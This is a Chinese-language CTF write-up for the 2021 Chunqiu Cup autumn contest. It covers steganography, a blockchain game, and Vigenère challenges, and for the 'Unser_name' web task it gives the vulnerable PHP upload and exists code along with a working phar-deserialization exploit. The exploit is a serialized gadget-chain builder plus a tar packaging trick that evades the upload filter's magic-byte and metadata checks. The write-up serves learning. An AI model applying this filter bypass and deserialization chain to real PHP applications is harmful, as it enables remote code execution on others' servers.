[CTF]2021春秋杯网络安全联赛秋季赛 勇者山峰部分writeup

MISC

1.Helloshark

题目给出一个图片,010查看尾部有压缩包数据,foremost提取,里面说了密码在图片里,zsteg梭,得到密码很长一串"password:@91902AF23C#276C2FC7EAC615739CC7C0",打开压缩包得到流量包。找了蛮久,在某个tcp追踪流发现
在这里插入图片描述
注意到竖下来有flag字样,一个一个对着打即可得到flag

2.MarioCoin

通过百度,在Google的拓展程序里用MetaMask创建一个账户,然后网络调成Rinkeby,获取私钥,复制地址,然后注册,发现一直提示1,登录也没成功,找大哥拿了一点币,成功注册开始游戏,玩了一会拿到1000多块钱,然后填地址加数字给我自己发钱,然后购买flag即可
在这里插入图片描述
在这里插入图片描述

然后flag就会发到邮箱,得到flag

3.问卷调查

Crypto

1.Vigenere
题目名字维吉尼亚,一看到就下载然后拿到之前下载的离线网址里爆破即可
在这里插入图片描述

WEB

1.Unser_name

F12得到www.zip,直接下载,看源码.

upload.php

<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);

function uploadfile(){
    global $_FILES;
    if (uploadfilecheck() && black_key_check()){
        $name = md5("cdusec".$_SERVER["REMOTE_ADDR"]).".gif";
        if(file_exists("upload_file/").$name){
            unlink($name);
        }
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/".$name);
        echo "<script type='text/javascript'>alert('ok');</script>";
    }

}

function black_key_check(){
	$phar_magic="__HALT_COMPILER";
	$zip_magic="PKx03x04";
	$gz_magic="x1fx8bx08";
	$bz_magic="BZh";
	$contents = file_get_contents($_FILES["file"]["tmp_name"]);
	if(strpos($contents,$phar_magic)!==false){
		return false;
	}
	if($zip_magic===substr($contents,0,4)){
		return false;
	}
	if($gz_magic===substr($contents,0,3)){
		return false;
	}
	if($bz_magic===substr($contents,0,3)){
		return false;
	}
	exec("tar -tf ".$_FILES["file"]["tmp_name"],$r_array);
	if(in_array(".phar/.metadata",$r_array)){
		return false;
	}
	return true;
}

function uploadfilecheck(){
    global $_FILES;
    $allowedExts = array("gif","jpeg","jpg","png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (empty($extension)){
    }else{
        if (in_array($extension,$allowedExts)){
            return true;
        }else{
            echo '<script type="text/javascript">alert("no");</script>';
            return false;
        }
    }
}
uploadfile();
?>

exists.php

<?php
class name1{
    public $var;
    public function __destruct(){
        echo $this->var;
    }
}
class name2{
    public function __toString(){
        $_POST["func"]();
        return "";
    }
}
header("Content-type: text/html;charset=utf-8");
$ip=$_SERVER['REMOTE_ADDR'];
$find_this = create_function("", 'die(`cat /flag`);');
error_reporting(0);
$filename = $_GET['filename'];
if (!$_GET['ip']){
    echo $ip;
}
if ($filename == NULL){
   die();
}
if (file_exists($filename)){
    echo '<script type="text/javascript">alert("该文件存在");</script>';
}
else{
    echo '<script type="text/javascript">alert("该文件不存在");</script>';
}

在exists.php里给了两个类,总的逻辑比较简单,通过给var赋值然后进入name2调用匿名函数然后拿到flag,能上传文件,有file_exists,很明显的phar反序列化,但是过滤得比较严格,zip,gzip,bzip都不行,但是可以用tar,然后tar这里下面有测.phar/.metadata,测试了一下in_array函数,只要在后面多加几个a就可以绕过检测并且不会影响后续过程,那么先构建个tar文件.
首先

<?php
class name1{
    public $var;
    public function  __construct()
    {
        $this->var=new name2();
    }
}
class name2{
}
file_put_contents(".phar/.metadataa",serialize(new name1()));
?>

然后在linux下打包,

tar -cf test.tar .phar/

得到test.tar,改gif后缀,直接上传,文件名为cdusec+ip的md5值然后.gif,ip直接访问exists.php就能得到。加密后拼接得到文件名cddc9385153d0b6c5c80a6a94dc9219c.gif
访问一手:xxxx/upload_file/cddc9385153d0b6c5c80a6a94dc9219c.gif发现是存在的,那么代表上传成功。先看phpinfo
在这里插入图片描述

因为版本原因,5.5.9和本地7调用匿名函数的方式不同,5是lambda_x,x=1,2,3…,7是lambda_0x,通过本地调试了解如何调用匿名函数,每访问一次exists.php,lambda后的值就会加一,这个具体也没怎么测过,有时候可以有时候不行,索性重开个环境,传完之后直接hackbar传参即可拿到flag,具体看图
在这里插入图片描述

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>